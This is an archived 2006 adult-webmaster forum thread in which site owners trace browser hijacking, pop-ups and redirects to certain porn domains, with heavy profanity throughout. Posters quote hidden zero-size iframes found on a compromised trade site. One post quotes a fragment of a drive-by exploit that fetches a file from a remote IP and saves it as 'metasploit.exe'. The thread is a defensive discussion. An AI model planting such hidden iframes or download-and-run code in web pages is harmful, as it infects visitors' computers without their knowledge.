TGP: Where the fuck is this site coming from?!?!

**Quickdraw** · 10-26-2006, 05:23 PM

Home page hijacking, and includes or whatever to some shady software called drivecleaner
http://research.sunbelt-software.com...threatid=44533

It also uses another open browser window and opens apornmovie.com

Definitely up to no good, plus it crashed Explorer for me too

**CIVMatt** · 10-27-2006, 06:12 AM

Bump for the morning crew

**scottybuzz** · 10-27-2006, 06:32 AM

gfy is no longer a webmaster forum, you wont get any help here

**CIVMatt** · 10-27-2006, 06:36 AM

Originally posted by scottybuzz

gfy is no longer a webmaster forum, you wont get any help here

Yeah its certainly starting to feel that way

**Deej** · 10-27-2006, 06:42 AM

I dont like the sites lately that have the thumbs that you click and it hijacks another browser you have open, quite annoying as of late..

**gooddomains** · 10-27-2006, 06:54 AM

bump 4 ya

**CIVMatt** · 10-27-2006, 07:09 AM

Originally posted by Deej

I dont like the sites lately that have the thumbs that you click and it hijacks another browser you have open, quite annoying as of late..

Exactly why I want to hunt it out and kill it asap

**Libertine** · 10-27-2006, 07:16 AM

Some possibilities:
- adware on your computer
- your script got hacked
- some galleries are redirecting traffic
- one of the sites you trade with got hacked
- one of the sites you trade with redirects traffic

More things are possible, of course. These are just a few main ones.

**CIVMatt** · 10-27-2006, 07:18 AM

Originally posted by Libertine

Some possibilities:
- adware on your computer
- your script got hacked
- some galleries are redirecting traffic
- one of the sites you trade with got hacked
- one of the sites you trade with redirects traffic

More things are possible, of course. These are just a few main ones.

- one of the sites you trade with got hacked
- one of the sites you trade with redirects traffic

This is what I think, its pretty new to be hacked and it happens on several computers.

**NoWhErE** · 10-27-2006, 07:26 AM

Its also part of the TGP game now... there are so many damn cheaters trying to make a quick buck its sickening

**CIVMatt** · 10-27-2006, 07:35 AM

honeycuties.com

Resize and hides:

<iframe src="http://85.255.113.22/inc/nan72.html" height="0" width="0" frameborder="0" style="display:none"></iframe>
<iframe src="http://mp3most.com/it/index.html" height="1" width="1" frameborder="0" style="display:none"></iframe>

not sure what thats about

I googled lotsofpornmovies and apornmovie (I found in its code) and there virus talk but its in a forgein lang...

I'm really getting pissed

**Libertine** · 10-27-2006, 08:01 AM

Weird shit.

I checked out the links in your toplist, and several clicks there got me at lotsofpornomovies.com. That would suggest that it's your script.

On the other hand, on the site of one of your trades, who uses a different script than you do, a click also sent me to lotsofpornomovies.com.

However, it looks like all your trades that I clicked that sometimes sent me to lotsofpornomoviues are using the same script. So, perhaps, the problem is with their sites, not yours.

**Libertine** · 10-27-2006, 08:03 AM

Hypothesis: a number of your trades are using a thumb tgp script (or trade script) that takes a percentage of traffic as payment.

**Quickdraw** · 10-27-2006, 08:04 AM

Originally posted by CIVMatt

honeycuties.com

Resize and hides:

<iframe src="http: //85.255.113.22/inc/nan72.html" height="0" width="0" frameborder="0" style="display:none"></iframe>
not sure what thats about

The iframe I left opens another frame that I believe tries to exploit the browser with--
....Log('Ceating the XMLHTTP object...');
var url = 'http: // 85.255.117.174/users/mexx/web/MTkz';
var xml = null;
var bin = e.Item("TEMP") + "metasploit.exe";
.....

Anyway, good luck with all of this :/

**SCORE Ralph** · 10-27-2006, 08:21 AM

if "metasploit.exe" doesnt give it away, I dont know what will

Good luck! We gotta stop this madness.

**Libertine** · 10-27-2006, 08:28 AM

Originally posted by aspwm

if "metasploit.exe" doesnt give it away, I dont know what will

Good luck! We gotta stop this madness.

Only, I didn't actually visit that site before clicking links and being redirected...

**interracialtoons** · 10-27-2006, 08:30 AM

Originally posted by CIVMatt

I have a trade that comes up (a LOT) on my new tgp BadLittleSluts...

http://www.lotsofpornmovies.com/

It's not in my trades, I dont have it set as any 'out', and some traffic I send off to choker I doubt it's coming from him because its so often. It's annoying, click on it, you'll see some thumbs and if you close the window you get a MS prompt asking if you really want to close the window. Does seem harmful but ITS FUCKING ANNOYING and it comes up often.

I'm hitting over 10K per day and I'd like to squish out this annoyance, I'd rather see it go to a good trade or gallery.

I know its some Java BS.. but does anyone know anything about this site?

Make sure you are not using a free script that skims traffic before you go crazy. If you got the script for free them most of them skim traffic and state so in their terms.

**Evil1** · 10-27-2006, 08:37 AM

honeycuties.com / lotsofpornmovies.com both just got blacklisted on findtrades.com

any more?

**Quickdraw** · 10-27-2006, 08:39 AM

I just checked another site(rudefuck.com) that use the ATX script you are using-- eventually they too sent me to lotsofpornmovies

**SCORE Ralph** · 10-27-2006, 08:42 AM

Originally posted by Evil1

honeycuties.com / lotsofpornmovies.com both just got blacklisted on findtrades.com

any more?

Good to know

**Dood** · 10-27-2006, 09:08 AM

I think these trades are scammers. I get a new one of these sites signing up for trades every couple of days, they all look the same.

They used to use a script in a folder named "dtr" but now have changed it to something like
http://theirdomain.com/out.php?galle...1&ltp=0&tid=84

Also look for this at the bottom of their page source

Code:

<img src='rotate.php?action=thumbcalc&fcid=1&data=1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84' width=1 height=1>

**CIVMatt** · 10-27-2006, 12:18 PM

Well I booted honeycuties.com ... I'm looking for the other fucktards

**SpacemanSpiff** · 10-27-2006, 12:34 PM

I get those occasionally too on pervertspost.com. I check my script every morning and look at any new trades that signed up, then delete and blacklist those fuckers. I don't know of any other way to stop it other than disabling automatic signups.

I actually had 3 this morning that I deleted. I don't remember the url's or I'd post em. I'm sure they were all from the same asswipe.

**CIVMatt** · 11-08-2006, 09:55 AM

Fuck I'm losing my mind with these fucks

**CIVMatt** · 11-13-2006, 08:31 AM

they've added popups now, fucking wonderful, I'd LOVE to meet this webmaster, I still have no fucking clue who it's coming from

**tenderobject** · 11-13-2006, 08:49 AM

damn i hate that fucking discleaner pop up as if i need to have that on mac!!! what i noticed is when you click on the thumbs in your site it gets redirected to that site and apornmovie will load in the site itself.

1st click goes to your gallery
2nd click goes to that site
3rd click goes to your sponsor or trade (http://www.nonnudegallery.net)
4th click goes to this page (http://stour2.brookeskye.com/?nats=MTIyMDc6Mjo1,0,0,0,0)
5th click goes goes to this page again (http://stour2.brookeskye.com/?nats=MTIyMDc6Mjo1,0,0,0,0)
6th goes to that site!!!

fucking annoying it is!

**tenderobject** · 11-13-2006, 08:51 AM

wow!!! i keep on redirected to this page http://stour2.brookeskye.com/?nats=MTIyMDc6Mjo1,0,0,0,0

then when i click some thumbs again. you will see in the browser that im going to your trade but then that site loads!!!

**Psycho_x** · 11-13-2006, 08:54 AM

That mother fucker locked me up.

**gooddomains** · 11-13-2006, 08:57 AM

fucking spyware

TGP: Where the fuck is this site coming from?!?!

TGP: Where the fuck is this site coming from?!?!

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment